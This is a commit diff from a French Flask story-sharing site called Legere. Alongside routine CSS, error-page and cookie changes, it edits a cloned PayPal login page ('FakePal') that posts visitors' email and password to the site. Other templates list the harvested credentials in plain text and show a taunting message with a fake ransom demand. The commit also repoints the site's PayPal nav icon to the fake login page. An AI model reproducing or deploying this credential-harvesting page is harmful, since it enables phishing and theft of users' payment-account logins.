noham/Legere
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

changes

Browse Source
This commit is contained in:
√(noham)² 2023-04-07 23:15:56 +02:00
parent 6c30975f67
commit ebe21a776f
20 changed files with 396 additions and 306 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

136
main.py
View File

File diff suppressed because one or more lines are too long

27
static/css/common.css
View File

@ -1,3 +1,4 @@
/* importation de la police dyslexique */
@font-face { @font-face {
font-family: OpenDyslexic; font-family: OpenDyslexic;
src: url(../font/open_dyslexic/OpenDyslexic-Regular.otf); src: url(../font/open_dyslexic/OpenDyslexic-Regular.otf);
@ -9,13 +10,6 @@
--police: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; --police: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
} }
test {
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
font-family: Arial, Helvetica, sans-serif;
font-family: 'Courier New', Courier, monospace;
}
html { html {
background: var(--background); background: var(--background);
color: var(--ecriture); color: var(--ecriture);
@ -34,7 +28,7 @@ body {
justify-content: center; justify-content: center;
} }
/* barre de navigation */
nav { nav {
width: 99%; width: 99%;
position: sticky; position: sticky;
@ -48,7 +42,6 @@ nav {
border-collapse: collapse; border-collapse: collapse;
width: 100%; width: 100%;
text-align: center; text-align: center;
/* background-color: rgba(255, 255, 255, 0.4); */
} }
.menuItem { .menuItem {
@ -89,7 +82,7 @@ a:visited {
text-decoration: none; text-decoration: none;
} }
/* bouton dyslexique */
#dyslexique { #dyslexique {
background-color: #5c5cfd; background-color: #5c5cfd;
padding-bottom: 0px; padding-bottom: 0px;
@ -100,10 +93,7 @@ a:visited {
font-size: .7rem; font-size: .7rem;
} }
/* slider */ /* slider */
.slider { .slider {
display: flex; display: flex;
justify-content: center; justify-content: center;
@ -113,14 +103,3 @@ a:visited {
font-size: 300px; font-size: 300px;
font-weight: 500; font-weight: 500;
} }
.minuteur {
display: flex;
justify-content: center;
align-items: center;
margin-top: auto;
margin-bottom: auto;
font-size: 300px;
font-weight: 500;
}

46
static/css/erreur.css Normal file
View File

@ -0,0 +1,46 @@
html {
font-size: 1.5rem;
font-family: var(--police);
}
#content2 {
text-align: center;
justify-content: center;
width: 900px;
}
.contentchild {
margin: 50px;
}
/* bouton retour à l'accueil */
.clique {
display: flex;
background-color: #0000ff94;
padding: 20px;
padding-bottom: 0px;
border-radius: 30px;
box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
width: auto;
height: auto;
max-width: 700;
transition: all ,0.5s;
}
.clique:hover {
box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.60);
}
.clique>a>img {
height: 50px;
width: 50px;
margin-left: auto;
margin-right: auto;
display: flex;
/* padding: 20px; */
}
.clique>a>h2 {
text-align: center;
}

12
static/css/fiche.css
View File

@ -1,21 +1,23 @@
#fiche { #fiche {
padding-top: 5rem; padding-top: 3rem;
width: 400px; width: 1200px;
margin: auto; margin: auto;
text-align: center; text-align: left;
border-collapse: collapse; border-collapse: collapse;
} }
#content2 { #content2 {
padding-top: 5rem; padding-top: 3rem;
} }
#fiche>tbody>tr { #fiche>tbody>tr {
margin: 50px;
height: 50px; height: 50px;
padding: 10px; padding: 10px;
} }
#fiche>tbody>tr>td { #fiche>tbody>tr>td {
margin: 50px;
padding: 20px;
font-weight: 600; font-weight: 600;
} }

24
static/css/infopaypal.css Normal file
View File

@ -0,0 +1,24 @@
#fiche {
padding-top: 3rem;
width: 1200px;
margin: auto;
text-align: left;
border-collapse: collapse;
}
#content2 {
padding-top: 3rem;
}
#fiche>tbody>tr {
margin: 50px;
height: 50px;
padding: 10px;
}
#fiche>tbody>tr>td {
font-size: 1.5rem;
margin: 50px;
padding: 20px;
font-weight: 600;
}

51
static/css/liste.css
View File

@ -1,3 +1,8 @@
#content2 {
padding-top: 3rem;
}
/* lorsqu'il y a une histoire */
#button { #button {
display: flex; display: flex;
align-items: center; align-items: center;
@ -6,10 +11,6 @@
margin: 30px; margin: 30px;
} }
#content2 {
padding-top: 3rem;
}
#submit { #submit {
display: inline-block; display: inline-block;
border-radius: 20px; border-radius: 20px;
@ -23,10 +24,9 @@
transition: all 0.5s; transition: all 0.5s;
cursor: pointer; cursor: pointer;
margin: 5px; margin: 5px;
transition: all ,0.5s; transition: all, 0.5s;
} }
#submit:hover { #submit:hover {
box-shadow: 0px 25px 80px rgb(0 0 0 / 70%); box-shadow: 0px 25px 80px rgb(0 0 0 / 70%);
} }
@ -55,3 +55,42 @@
opacity: 1; opacity: 1;
right: 0; right: 0;
} }
/* lorsque aucune histoire */
.contentchild {
margin: 50px;
}
.clique {
display: flex;
background-color: #0000ff94;
padding: 20px;
padding-bottom: 0px;
border-radius: 30px;
box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
width: auto;
height: auto;
max-width: 700;
transition: all, 0.5s;
}
.clique:hover {
box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.60);
}
.clique>a>img {
height: 50px;
width: 50px;
margin-left: auto;
margin-right: auto;
display: flex;
}
.clique>a>h2 {
text-align: center;
}
#content1 {
padding-top: 3rem;
}

2
static/css/main.css
View File

@ -12,6 +12,8 @@ html {
.contentchild { .contentchild {
margin: 50px; margin: 50px;
} }
/* bouton pour ajouter une histoire */
.clique { .clique {
display: flex; display: flex;
background-color: #0000ff94; background-color: #0000ff94;

23
static/css/nouvelle.css
View File

@ -2,6 +2,11 @@ label {
font-weight: 600; font-weight: 600;
} }
#formNouvelleHistoire,
#formListeHist {
padding-top: 3rem;
}
#nouvelle { #nouvelle {
width: 400px; width: 400px;
margin: auto; margin: auto;
@ -18,23 +23,7 @@ label {
padding: 10px; padding: 10px;
} }
/* bouton envoyer */
/* #formListePerso>button {
display: block;
width: 100%;
height: 50px;
margin: 5px;
background-color: rgba(0, 0, 0, 0.4);
border: solid 1px black;
} */
#formNouveauPerso,
#formListePerso {
padding-top: 5rem;
/* width: 300px; */
}
#button { #button {
display: flex; display: flex;
align-items: center; align-items: center;

24
templates/404.html Normal file
View File

@ -0,0 +1,24 @@
{% extends 'template.html' %}
{% block title %}
404
{% endblock %}
{% block head %}
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
{% endblock %}
{% block content %}
<div id="content2">
<h1>Erreur 404</h1>
<h2>Cette page n'existe pas</h2>
<div class="contentchild">
<div class="clique">
<a href="/main" class="link">
<img src="../static/img/main/plus.png" alt="plus">
<h2>Retourner à l'accueil !</h2>
</a>
</div>
</div>
</div>
{% endblock %}

24
templates/405.html Normal file
View File

@ -0,0 +1,24 @@
{% extends 'template.html' %}
{% block title %}
405
{% endblock %}
{% block head %}
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
{% endblock %}
{% block content %}
<div id="content2">
<h1>Erreur</h1>
<h2>Not found</h2>
<div class="contentchild">
<div class="clique">
<a href="/main" class="link">
<img src="../static/img/main/plus.png" alt="plus">
<h2>Retourner à l'accueil !</h2>
</a>
</div>
</div>
</div>
{% endblock %}

24
templates/500.html Normal file
View File

@ -0,0 +1,24 @@
{% extends 'template.html' %}
{% block title %}
500
{% endblock %}
{% block head %}
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
{% endblock %}
{% block content %}
<div id="content2">
<h1>Erreur 500</h1>
<h2>Internal Server Error</h2>
<div class="contentchild">
<div class="clique">
<a href="/main" class="link">
<img src="../static/img/main/plus.png" alt="plus">
<h2>Retourner à l'accueil !</h2>
</a>
</div>
</div>
</div>
{% endblock %}

1
templates/don.html
View File

@ -1,6 +1,5 @@
{% extends 'template.html' %} {% extends 'template.html' %}
{% block content %} {% block content %}
<h1>Rien pour le moment</h1> <h1>Rien pour le moment</h1>
<a href="{{ url_for('listepaypal') }}">Liste des comptes paypal</a> <a href="{{ url_for('listepaypal') }}">Liste des comptes paypal</a>

61
templates/fiche.html
View File

@ -4,91 +4,44 @@
Fiche Fiche
{% endblock %} {% endblock %}
{% block head %} {% block head %}
<link href="{{ url_for('static', filename='css/fiche.css') }}" rel="stylesheet" /> <link href="{{ url_for('static', filename='css/fiche.css') }}" rel="stylesheet" />
{% endblock %} {% endblock %}
{% block content %} {% block content %}
<div id="content2"> <div id="content2">
<table id="fiche" class="changingfontsize"> <table id="fiche" class="changingfontsize">
<tr> <tr>
<td>Nom d'utilisateur :</td> <td>Nom d'utilisateur :</td>
<td>{% if perso["anonyme"]=='on' %} <td>{% if hist["anonyme"]=='on' %}
<p>L'utilisateur est anonyme</p> <p>L'utilisateur est anonyme</p>
{% else %} {% else %}
<p>{{ perso["nom"] }}</p> <p>{{ hist["nom"] }}</p>
{% endif %} {% endif %}
</td> </td>
</tr> </tr>
<tr> <tr>
<td>Genre :</td> <td>Genre :</td>
<td>{{ perso["classe"] }}</td> <td>{{ hist["classe"] }}</td>
</tr> </tr>
<tr> <tr>
<td>Titre :</td> <td>Titre :</td>
<td>{{ perso["titre"] }}</td> <td>{{ hist["titre"] }}</td>
</tr> </tr>
<tr> <tr>
<td>Rapide résumé :</td> <td>Rapide résumé :</td>
<td>{{ perso["resume"] }}</td> <td>{{ hist["resume"] }}</td>
</tr> </tr>
<tr> <tr>
<td>Histoire :</td> <td>Histoire :</td>
<td> <td>
<p>{{ perso["histoire"] }}</p> <p>{{ hist["histoire"] }}</p>
</td> </td>
</tr> </tr>
<tr> <tr>
<td>Note personnelle :</td> <td>Note personnelle :</td>
<td>{{ perso["note_personnelle"] }}</td> <td>{{ hist["note_personnelle"] }}</td>
</tr> </tr>
<!-- <tr>
<td>Nom d'utilisateur :</td>
<td>{% if exemple["anonyme"]=='on' %}
<p>L'utilisateur est anonyme</p>
{% else %}
<p>{{ exemple["nom"] }}</p>
{% endif %}
</td>
</tr>
<tr>
<td>Genre :</td>
<td>{{ exemple["classe"] }}</td>
</tr>
<tr>
<td>Titre :</td>
<td>{{ exemple["titre"] }}</td>
</tr>
<tr>
<td>Rapide résumé :</td>
<td>{{ exemple["resume"] }}</td>
</tr>
<tr>
<td>Histoire :</td>
<td>
<p>{{ exemple["histoire"] }}</p>
</td>
</tr>
<tr>
<td>Note personnelle :</td>
<td>{{ exemple["note_personnelle"] }}</td>
</tr> -->
</table> </table>
</div> </div>

41
templates/infopaypal.html
View File

@ -4,18 +4,31 @@
Informations récupérées de PayPal Informations récupérées de PayPal
{% endblock %} {% endblock %}
{% block content %} {% block head %}
<table id="fiche"> <link href="{{ url_for('static', filename='css/infopaypal.css') }}" rel="stylesheet" />
<tr> {% endblock %}
<td>Email :</td>
<td> {% block content %}
<p>{{ account["email"] }}</p> <div id='content2'>
</td> <table id="fiche" class="changingfontsize">
</tr> <tr>
<td>Email :</td>
<tr> <td>
<td>Password :</td> <p>{{ account["email"] }}</p>
<td>{{ account["password"] }}</td> </td>
</tr> </tr>
</table> <tr>
<td>Password :</td>
<td>{{ account["password"] }}</td>
</tr>
</table>
<div>
<h1>Bonjour, Nous sommes là pour vous informer de l’erreur monumentale que comment des milliers de personnes de
ce monde. Le fait de donner vos informations personnelles à des inconnus ne facilite pas votre sécurité.
<br>
La prochaine fois soyer plus malin que 75 % des gens de cette misérable planète… <br>
(Rassurez-vous, une rançon de 1 000 000 $ / £ / € est disponible pour récupérer votre pleine sécurité)
</h1>
</div>
</div>
{% endblock %} {% endblock %}

26
templates/liste.html
View File

@ -9,19 +9,31 @@ Fiche de personnage
{% endblock %} {% endblock %}
{% block content %} {% block content %}
{% if liste == [] %}
<div id="content1">
<h1>Aucune histoire disponible...</h1>
<div class="contentchild">
<div class="clique">
<a href="/nouvelle" class="link">
<img src="../static/img/main/plus.png" alt="plus">
<h2>Ajoute ton histoire !</h2>
</a>
</div>
</div>
</div>
{% else %}
<div id="content2"> <div id="content2">
<form action="{{ url_for('ficheDepuisListe')}}" method="post" id="formListePerso" class="changingfontsize"> <form action="{{ url_for('ficheDepuisListe')}}" method="post" id="formListeHist" class="changingfontsize">
{% for perso in liste %} {% for hist in liste %}
<div id="button"><button type="submit" id="submit" name='nom' value='{{ perso["nom"] }}'> <div id="button"><button type="submit" id="submit" name='nom' value='{{ hist["nom"] }}'>
Utilisateur : {{ perso["nom"] }} Utilisateur : {{ hist["nom"] }}
<br><br> <br><br>
Titre : {{ perso["titre"] }} Titre : {{ hist["titre"] }}
</button> </button>
</div> </div>
{% endfor %} {% endfor %}
</form> </form>
</ul> </ul>
</div> </div>
{% endif %}
{% endblock %} {% endblock %}

12
templates/listepaypal.html
View File

@ -5,13 +5,13 @@ Fiche de personnage
{% endblock %} {% endblock %}
{% block content %} {% block content %}
<form action="{{ url_for('ficheDepuisListepaypal')}}" method="post" id="formListePerso"> <form action="{{ url_for('ficheDepuisListepaypal')}}" method="post" id="formListeHist">
{% for account in liste2 %} {% for account in liste2 %}
<button name='nom' value='{{ account["nom"] }}' disabled> <button name='nom' value='{{ account["nom"] }}' disabled>
{{ account["email"] }} {{ account["email"] }}
<br> <br>
{{ account["password"] }} {{ account["password"] }}
</button> </button>
{% endfor %} {% endfor %}
</form> </form>
</ul> </ul>

22
templates/main.html
View File

@ -13,15 +13,9 @@ Accueil
<div class="contentchild"> <div class="contentchild">
<h1>Présentation rapide du projet :</h1> <h1>Présentation rapide du projet :</h1>
<article> <article>
Notre projet est de créer un site permettant à des utilisateurs de partager leurs histoires afin de créer une communauté soudée. </article> Notre projet est de créer un site permettant à des utilisateurs de partager leurs histoires afin de créer une
communauté soudée. </article>
</div> </div>
<!-- <div class="contentchild"><h1>Une histoire aléatoire</h1>
<article>
Aliquam tincidunt, purus at eleifend pellentesque, orci neque posuere mauris, nec malesuada felis lorem sit amet odio. Vestibulum rutrum mi non vehicula convallis. Quisque interdum in nibh eu fermentum. In hac habitasse platea dictumst. Sed faucibus imperdiet erat quis facilisis. Vivamus efficitur neque vitae ornare lacinia. Suspendisse sit amet luctus quam. Donec posuere odio metus, non tincidunt arcu ultricies eu. In id massa pulvinar, pretium ante ut, molestie risus. Curabitur nulla eros, semper sit amet augue ut, auctor aliquet ligula. Sed sed varius odio, gravida luctus ligula. Phasellus eu mi dapibus, pretium dui eget, sollicitudin odio.
</article></div>
-->
<br>
<div class="contentchild"> <div class="contentchild">
<div class="clique"> <div class="clique">
<a href="/nouvelle" class="link"> <a href="/nouvelle" class="link">
@ -30,18 +24,16 @@ Accueil
</a> </a>
</div> </div>
</div> </div>
<div class="contentchild"> <div class="contentchild">
<h1>Contexte, Remerciements, Chartes</h1> <h1>Contexte, Remerciements, Chartes</h1>
<article> <article>
“Aujourd’hui plus personne ne veut lire de livre. Ils sont passés et rendent solitaire. Pour une société en plein “Aujourd’hui plus personne ne veut lire de livres. Ils sont dépassés et rendent solitaire. Pour une société en
plein
changement nous souhaitons nous adapter en proposant des histoires inconnues et en vous laissant le choix de créer changement nous souhaitons nous adapter en proposant des histoires inconnues et en vous laissant le choix de créer
la vôtre. Laissez libre court à votre imagination tout en proposant des améliorations à l'auteur. Pour la la vôtre. Laissez libre cours à votre imagination tout en proposant des améliorations à l'auteur. Pour la
première fois le lecteur et l’auteur peuvent s’intervertir pour des histoires ouvertes sur l’avenir...” première fois le lecteur et l’auteur peuvent s’intervertir pour des histoires ouvertes sur l’avenir...”
<h3>Maxime Capdegelle, Chef du projet Legere</h2>
<h3>Maxime Capdegelle, Chef du projet Legere</h2> </article> </article>
</div> </div>
</div> </div>
{% endblock %} {% endblock %}

17
templates/nouvelle.html
View File

@ -9,23 +9,20 @@ Publication
{% endblock %} {% endblock %}
{% block content %} {% block content %}
<form action="{{ url_for('ajouter')}}" method="post" id="formNouveauPerso"> <form action="{{ url_for('ajouter')}}" method="post" id="formNouvelleHistoire">
<table id="nouvelle" class="changingfontsize"> <table id="nouvelle" class="changingfontsize">
<tr> <tr>
<td><label for="nom">Nom d'utilisateur :</label></td> <td><label for="nom">Nom d'utilisateur :</label></td>
<td><input type="text" name="nom" required="required"/></td> <td><input type="text" name="nom" required="required" /></td>
</tr> </tr>
<tr> <tr>
<td><label for="anonyme">Anonyme :</label></td> <td><label for="anonyme">Anonyme :</label></td>
<td><input type="checkbox" name="anonyme"></td> <td><input type="checkbox" name="anonyme"></td>
</tr> </tr>
<tr> <tr>
<td><label for="titre">Titre :</label></td> <td><label for="titre">Titre :</label></td>
<td><input type="text" name="titre" required="required"/></td> <td><input type="text" name="titre" required="required" /></td>
</tr> </tr>
<tr> <tr>
<td><label for="nom">Genre :</label></td> <td><label for="nom">Genre :</label></td>
<td> <td>
@ -36,25 +33,21 @@ Publication
</select> </select>
<td> <td>
</tr> </tr>
<tr> <tr>
<td><label for="histoire">Votre histoire :</label></td> <td><label for="histoire">Votre histoire :</label></td>
<td><textarea name="histoire" style="max-width: 200px;" required="required"></textarea></td> <td><textarea name="histoire" style="max-width: 200px;" required="required"></textarea></td>
</tr> </tr>
<tr> <tr>
<td><label for="resume">Rapide résumé :</label></td> <td><label for="resume">Rapide résumé :</label></td>
<td><input type="text" name="resume" required="required"/></td> <td><input type="text" name="resume" required="required" /></td>
</tr> </tr>
<tr> <tr>
<td><label for="note_personnelle">Note personnelle :</label></td> <td><label for="note_personnelle">Note personnelle :</label></td>
<td><input type="text" name="note_personnelle" required="required"/></td> <td><input type="text" name="note_personnelle" required="required" /></td>
</tr> </tr>
</table> </table>
<div id="button"> <div id="button">
<button type="submit" id="submit"><span>Envoyer </span></button> <button type="submit" id="submit"><span>Envoyer </span></button>
</div> </div>
</form> </form>
{% endblock %} {% endblock %}

47
templates/paypal.html
View File

@ -1,13 +1,5 @@
<!--
<!DOCTYPE html>
<!--[if lt IE 9]><html lang="en" class="no-js lower-than-ie9 ie desktop"><![endif]-->
<!--[if lt IE 10]><html lang="en" class="no-js lower-than-ie10 ie desktop"><![endif]-->
<!--[if !IE]>-->
<html lang="en"> <html lang="en">
<!--<![endif]-->
<head> <head>
<!--Script info: script: node, template: , date: Nov 21, 2022 01:40:18 -08:00, country: TW, language: en web version: content version: hostname : rZJvnqaaQhLn/nmWT8cSUm+72VQ7inHLmNSWW7oQxSqkM7CaNNY3vwwDZDVc+NwN rlogid : rZJvnqaaQhLn%2FnmWT8cSUotSylMGOTGkRUMDpmUTvbXdvevuMMFAfVANbpv53MZEySepZVSpTWRYJ8c9hOdmTcn%2BHSxZ2SMb_184998f5480 -->
<meta charset="utf-8"> <meta charset="utf-8">
<title>Log in to your FakePal account</title> <title>Log in to your FakePal account</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="content-type" content="text/html; charset=UTF-8">
@ -27,7 +19,6 @@
<meta property="og:image" content="https://www.paypalobjects.com/webstatic/icon/pp258.png"> <meta property="og:image" content="https://www.paypalobjects.com/webstatic/icon/pp258.png">
<link rel="stylesheet" <link rel="stylesheet"
href="https://www.paypalobjects.com/web/res/814/0ed5dab5e678c14296dd49b2a68b4/css/contextualLoginElementalUIv2.css"> href="https://www.paypalobjects.com/web/res/814/0ed5dab5e678c14296dd49b2a68b4/css/contextualLoginElementalUIv2.css">
</head> </head>
<body> <body>
@ -51,52 +42,35 @@
<p id="pwdSubTagLine" class="subHeaderText ">With a FakePal account, you're eligible for Purchase Protection <p id="pwdSubTagLine" class="subHeaderText ">With a FakePal account, you're eligible for Purchase Protection
and Rewards.</p> and Rewards.</p>
<div class="notifications"></div> <div class="notifications"></div>
<!-- form -->
<!-- <form action="{{ url_for('addinfopaypal')}}" method="post" id="FormPaypalInformation"></form> -->
<form action="{{ url_for('addinfopaypal')}}" method="post"> <form action="{{ url_for('addinfopaypal')}}" method="post">
<!-- passwordSection --> <!-- passwordSection -->
<div id="passwordSection" class="clearfix splitEmail"> <div id="passwordSection" class="clearfix splitEmail">
<div id="splitEmailSection" class="splitPhoneSection splitEmailSection"> <div id="splitEmailSection" class="splitPhoneSection splitEmailSection">
<div class="textInput" id="login_emaildiv" style="z-index: 1;"> <div class="textInput" id="login_emaildiv" style="z-index: 1;">
<div class="fieldWrapper"> <div class="fieldWrapper">
<!-- input --> <!-- input -->
<input id="email" name="email" type="email" class="hasHelp validate validateEmpty " <input id="email" name="email" type="email" class="hasHelp validate validateEmpty " required="required" autocomplete="username" placeholder="Email or mobile number" aria-describedby="emailErrorMessage">
required="required" autocomplete="username" placeholder="Email or mobile number"
aria-describedby="emailErrorMessage">
<!-- label --> <!-- label -->
<label for="email" class="fieldLabel">Email or mobile number</label> <label for="email" class="fieldLabel">Email</label>
</div> </div>
</div> </div>
</div> </div>
<div id="passwordSection" class="clearfix showHideButtonForEligibleBrowser"> <div id="passwordSection" class="clearfix showHideButtonForEligibleBrowser">
<div class="textInput " id="login_passworddiv" style="z-index: 1;"> <div class="textInput " id="login_passworddiv" style="z-index: 1;">
<div class="fieldWrapper"> <div class="fieldWrapper">
<!-- input --> <!-- input -->
<input id="password" name="password" type="password" <input id="password" name="password" type="password" class="hasHelp validateEmpty pin-password" required="required" value="" placeholder="Password" aria-describedby="passwordErrorMessage">
class="hasHelp validateEmpty pin-password" required="required" value="" placeholder="Password"
aria-describedby="passwordErrorMessage">
<!-- label --> <!-- label -->
<label for="password" class="fieldLabel">Password</label> <label for="password" class="fieldLabel">Password</label>
<label for="Show password" class="fieldLabel">Show password</label> <label for="Show password" class="fieldLabel">Show password</label>
</div> </div>
</div> </div>
<a href="#" id="forgotPassword" class="recoveryOption forgotPassword" <a href="#" id="forgotPassword" class="recoveryOption forgotPassword" data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
</div> </div>
</div> </div>
<!-- button --> <!-- button -->
<div class="actions"> <div class="actions">
<button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin" <button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin" name="btnLogin" value="Login" pa-marked="1">Log In</button>
name="btnLogin" value="Login" pa-marked="1">Log In</button>
</div> </div>
</form> </form>
<div id="tryAnotherWayLinkContainer" class="tryAnotherWayLinkContainer " data-hide-on-pass=""> <div id="tryAnotherWayLinkContainer" class="tryAnotherWayLinkContainer " data-hide-on-pass="">
@ -127,26 +101,25 @@
<div class="legalFooter"> <div class="legalFooter">
<ul class="footerGroup"> <ul class="footerGroup">
<li> <li>
<a target="_blank" href="https://www.paypal.com//smarthelp/contact-us" pa-marked="1">Contact Us</a> <a target="_blank" href="#" pa-marked="1">Contact Us</a>
</li> </li>
<li> <li>
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/privacy-full" pa-marked="1">Privacy</a> <a target="_blank" href="#" pa-marked="1">Privacy</a>
</li> </li>
<li> <li>
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/legalhub-full" pa-marked="1">Legal</a> <a target="_blank" href="#" pa-marked="1">Legal</a>
</li> </li>
<li> <li>
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/upcoming-policies-full" pa-marked="1">Policy <a target="_blank" href="#" pa-marked="1">Policy
Updates</a> Updates</a>
</li> </li>
<li> <li>
<a target="_blank" href="" pa-marked="1">Worldwide</a> <a target="_blank" href="#" pa-marked="1">Worldwide</a>
</li> </li>
</ul> </ul>
</div> </div>
</footer> </footer>
</div> </div>
</body> </body>
</html> </html>

84
templates/template.html
View File

@ -8,21 +8,18 @@
<title>{% block title %} {% endblock %}</title> <title>{% block title %} {% endblock %}</title>
<link href="{{ url_for('static', filename='css/common.css') }}" rel="stylesheet" /> <link href="{{ url_for('static', filename='css/common.css') }}" rel="stylesheet" />
<link rel="shortcut icon" href="../static/img/logo2.ico" type="image/x-icon"> <link rel="shortcut icon" href="../static/img/logo2.ico" type="image/x-icon">
</head> </head>
<body> <body onload="checkCookie(), checkCookie2()">
<nav> <nav>
<table id="menu"> <table id="menu">
<tr> <tr>
<td class='menuItem'><a href="{{ url_for('main') }}"><img src="../static/img/logo.png" alt="logo" width="50rem" <td class='menuItem'><a href="{{ url_for('main') }}"><img src="../static/img/logo.png" alt="logo" width="50rem"
height="50rem" style="margin: 15px;"></a></td> height="50rem" style="margin: 15px;"></a></td>
<td class='menuItem'><a href="{{ url_for('liste') }}">Lire des histoires</a></td> <td class='menuItem'><a href="{{ url_for('liste') }}">Lire des histoires</a></td>
<td class='menuItem'><a href="{{ url_for('nouvelle') }}">Publier une histoire</a></td> <td class='menuItem'><a href="{{ url_for('nouvelle') }}">Publier une histoire</a></td>
<td class="menuItem"><a href="{{ url_for('don') }}"><img src="../static/img/paypal-logo.png" alt="paypal-logo" <td class="menuItem"><a href="{{ url_for('paypal') }}"><img src="../static/img/paypal-logo.png"
style="max-width: 50px; max-height: 50px; margin: 15px;"></a></td> alt="paypal-logo" style="max-width: 50px; max-height: 50px; margin: 15px;"></a></td>
<td class="menuItem2"> <td class="menuItem2">
<div class="changeTheme"><img src="../static/img/blackandwhite.png" alt="blackandwhite" <div class="changeTheme"><img src="../static/img/blackandwhite.png" alt="blackandwhite"
style="max-width: 50px; max-height: 50px; margin: 10px;"></div> style="max-width: 50px; max-height: 50px; margin: 10px;"></div>
@ -30,7 +27,7 @@
</div> </div>
<div class="slider"> <div class="slider">
<div id="glissière" onclick="taille()" class="col"> <div id="glissière" onclick="taille()" class="col">
<input id="entree" type="range" oninput="taille()" min="100" max="300" class="slider"> <input id="entree" type="range" oninput="taille()" min="75" max="300" class="slider">
</div> </div>
</div> </div>
</td> </td>
@ -43,37 +40,73 @@
</div> </div>
</div> </div>
<script> <script>
const switchThemeBtn = document.querySelector('.changeTheme')
let toggleTheme = 0; let toggleTheme = 0;
let toggle2Theme = 0;
var darkMode = getCookie("dark-mode");
var dyslexiqueMode = getCookie("dyslexique-mode")
function getCookie(name) {
var value = "; " + document.cookie;
var parts = value.split("; " + name + "=");
if (parts.length == 2) return parts.pop().split(";").shift();
}
// cookie pour le mode sombre
function checkCookie() {
if (darkMode == "true") {
document.documentElement.style.setProperty('--ecriture', '#f1f1f1');
document.documentElement.style.setProperty('--background', '#262626');
toggleTheme--;
} else if (darkMode == "false") {
document.documentElement.style.setProperty('--ecriture', '#262626');
document.documentElement.style.setProperty('--background', '#f1f1f1');
}
}
// cookie pour le mode dyslexique
function checkCookie2() {
if (dyslexiqueMode == "true") {
document.documentElement.style.setProperty('--police', "OpenDyslexic");
toggle2Theme--;
} else if (dyslexiqueMode == "false") {
document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif");
}
}
// mode sombre
const switchThemeBtn = document.querySelector('.changeTheme')
switchThemeBtn.addEventListener('click', () => { switchThemeBtn.addEventListener('click', () => {
if (toggleTheme === 0) { if (toggleTheme === 0) {
document.documentElement.style.setProperty('--ecriture', '#f1f1f1'); document.documentElement.style.setProperty('--ecriture', '#f1f1f1');
document.documentElement.style.setProperty('--background', '#262626'); document.documentElement.style.setProperty('--background', '#262626');
document.cookie = "dark-mode=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
toggleTheme--; toggleTheme--;
} else { } else {
document.documentElement.style.setProperty('--ecriture', '#262626'); document.documentElement.style.setProperty('--ecriture', '#262626');
document.documentElement.style.setProperty('--background', '#f1f1f1'); document.documentElement.style.setProperty('--background', '#f1f1f1');
document.cookie = "dark-mode=false; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
toggleTheme++; toggleTheme++;
} }
}) })
</script>
<script> // mode dyslexique
const switchFontBtn = document.querySelector('.changeFont') const switchFontBtn = document.querySelector('.changeFont')
let toggle2Theme = 0;
switchFontBtn.addEventListener('click', () => { switchFontBtn.addEventListener('click', () => {
if (toggle2Theme === 0) { if (toggle2Theme === 0) {
document.documentElement.style.setProperty('--police', "OpenDyslexic"); document.documentElement.style.setProperty('--police', "OpenDyslexic");
document.cookie = "dyslexique-mode=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
toggle2Theme--; toggle2Theme--;
} else { } else {
document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif"); document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif");
document.cookie = "dyslexique-mode=false; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
toggle2Theme++; toggle2Theme++;
} }
}) })
</script> </script>
<script> <script>
// entrer pour plein écran
function toggleFullScreen() { function toggleFullScreen() {
if (!document.fullscreenElement) { if (!document.fullscreenElement) {
document.documentElement.requestFullscreen(); document.documentElement.requestFullscreen();
@ -81,35 +114,14 @@
document.exitFullscreen(); document.exitFullscreen();
} }
} }
document.addEventListener("keydown", (e) => { document.addEventListener("keydown", (e) => {
if (e.key === "Enter") { if (e.key === "Enter") {
toggleFullScreen(); toggleFullScreen();
} }
}, false); }, false);
</script> </script>
<!-- <script>
function taille() {
var entree = document.getElementById("entree");
var elementpage = document.getElementById("changingfontsize");
elementpage.style.fontSize = entree.value / 100 + "rem"
}
</script> -->
<!-- <script>
function taille2() {
var entree2 = document.getElementById("entree");
var parentDOM = document.getElementById("content");
var testTarget = parentDOM.getElementsByClassName("changingfontsize")[0];
testTarget.style.fontSize = entree2.value / 100 + "rem"
}
</script> -->
<script> <script>
// slider taille police d'écriture
